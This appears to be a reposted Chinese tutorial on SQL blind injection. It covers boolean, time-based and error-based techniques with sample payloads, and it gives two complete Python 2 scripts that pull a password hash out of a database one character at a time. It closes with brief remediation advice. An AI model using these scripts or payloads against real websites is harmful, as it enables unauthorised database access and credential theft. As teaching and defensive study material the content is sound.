SQL盲注
概念
sql盲注是sql注入的一种
盲注是不能通过直接显示的途径来获取数据库数据的方法
比如在php中确实将提交的参数代入数据库查询 但是并没有show echo出来
但是盲注的危害完全不比可显注入小 只要构造好高效的脚本 利用成本也不高
在安全级别中,SQL盲注是一种威胁程度很高的安全漏洞,通过这种方式,可以入侵服务提供商的服务器数据库,从而窃取、篡改、甚至是删除用户数据。
类型
在盲注中,攻击者根据其返回页面的不同来判断信息(可能是页面内容的不同,也可以是响应时间不同)。一般情况下,盲注可分为三类
1.基于布尔型(普通)盲注
SQL命令被带入数据库查询,应用程序只返回一个True页面(即原来的页面)或者返回False页面(即返回到一个“通用的”的页面,或者重定向到一个通用页面)
例如:
select 123 from dual where 1=1
select 1 from te order by if(1,1,(select 1 union select 2)) limit 0,3
http://127.0.0.1/sqli-labs-master/Less-1/?id=1' and (select substr(email_id,1,1) from emails where id=3) > 'a' --+
利用语句返回的布尔数据类型 判断某一字符实际值
2.基于时间的盲注
SQL命令被带入数据库查询,应用程序始终返回原始页面,当SQL语句为真时,用sleep()等函数可以改变响应时间
当通过网站显示的数据不能判断布尔类型时,基于时间的盲注就显现出他的作用
mysql主要涉及两个函数,sleep banchmark
例如:
select 1 from te where if(1=1,sleep(1),1) limit 0,1
select 1 from te where if(1=2,sleep(1),1) limit 0,1
3.基于报错的盲注
需要网站显示数据库报错信息
利用方式
1.基于布尔型
知道了怎么判断ture or false之后就是获取数据了,当然你可以暴力测试每一个ascii码,不过这需要很多次尝试,如果你家正巧网速不好那么速度将会是十分缓慢的。
这时,优质的算法就显得很重要了,这里给出二分法的py脚本
import urllib import urllib2 def doinject(payload): url = 'xxxxxxxxxxxxxxxxxxxxx' values = {'injection':payload,'inject':'Inject'} data = urllib.urlencode(values) #print data req = urllib2.Request(url, data) req.add_header('cookie','xx=xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx') response = urllib2.urlopen(req) the_page = response.read() if (the_page.find("Welcome back")>0): return True else: return False wordlist = "0123456789ABCDEF" res = "" for i in range(1,33): s=0 t=15 while (s<t): if (t-s==1): if doinject('\' or substring(password,'+str(i)+',1)=\''+wordlist[t]+'\' -- LanLan'): m=t break else: m=s break m=(s+t)/2 if doinject('\' or substring(password,'+str(i)+',1)>\''+wordlist[m]+'\' -- LanLan'): s=m+1 print wordlist[s]+":"+wordlist[t] else: t=m print wordlist[s]+":"+wordlist[t] res = res+wordlist[m] print res
2.基于时间型
上面的方法,都是通过返回页面的 不同来获取信息,所以理论上来说每次,最多只能确定一个二进制位(true or false)。但是,在盲注过程中还有一个重要的因素可以帮助我们获取信息,那就是页面返回时间的长短。通过如下的语句,我们可以通过一次请求确定一个字 符的ascii码。如果是一串32位的hash,那么只需要32次请求,即可得到答案。~前提是稳定的网络
' or sleep(ord(substr(password,1,1))) --
下面给出一个针对32位hash的盲注算法
import urllib import urllib2 import socket from time import time socket.setdefaulttimeout(1000000) def doinject(payload): url = 'xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx' values = {'injection':payload,'inject':'Inject'} data = urllib.urlencode(values) #print data req = urllib2.Request(url, data) req.add_header('cookie','xx=xxxxxxxxxxxxxxxxxxxxxxxxxxxx') start = time() response = urllib2.urlopen(req) end = time() #print response.read() index = int(end-start) print 'index:'+ str(index) print 'char:' + wordlist[index-1] return index wordlist = "0123456789ABCDEF" res = "" for i in range(1,34): num = doinject('\' or sleep( find_in_set(substring(password, '+str(i)+', 1), \'0,1,2,3,4,5,6,7,8,9,A,B,C,D,E,F\')) -- LanLan') res = res+wordlist[num-1] print res
3.基于报错型
如果页面上显示数据的报错信息,那么可以直接使用报错的方式把想要的信息爆出来。
比如在mysql中我们可以使用如下的经典语句进行报错。
select 1,2 union select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x;
这是网上流传很广的一个版本,可以简化成如下的形式。
select count(*) from information_schema.tables group by concat(version(),floor(rand(0)*2))
如果关键的表被禁用了,可以使用这种形式
select count(*) from (select 1 union select null union select !1) group by concat(version(),floor(rand(0)*2))
如果rand被禁用了可以使用用户变量来报错
select min(@a:=1) from information_schema.tables group by concat(password,@a:=(@a+1)%2
修复方案
1. 使用参数检查的方式,拦截带有SQL语法的参数传入应用程序
2. 使用预编译的处理方式处理拼接了用户参数的SQL语句
3. 在参数即将进入数据库执行之前,对SQL语句的语义进行完整性检查,确认语义没有发生变化
4. 在出现SQL注入漏洞时,要在出现问题的参数拼接进SQL语句前进行过滤或者校验,不要依赖程序最开始处防护代码
5. 定期审计数据库执行日志,查看是否存在应用程序正常逻辑之外的SQL语句执行
【注】本文转自:http://www.leo-blog.cn/2016/07/02/sql%E7%9B%B2%E6%B3%A8%E5%88%9D%E6%8E%A2/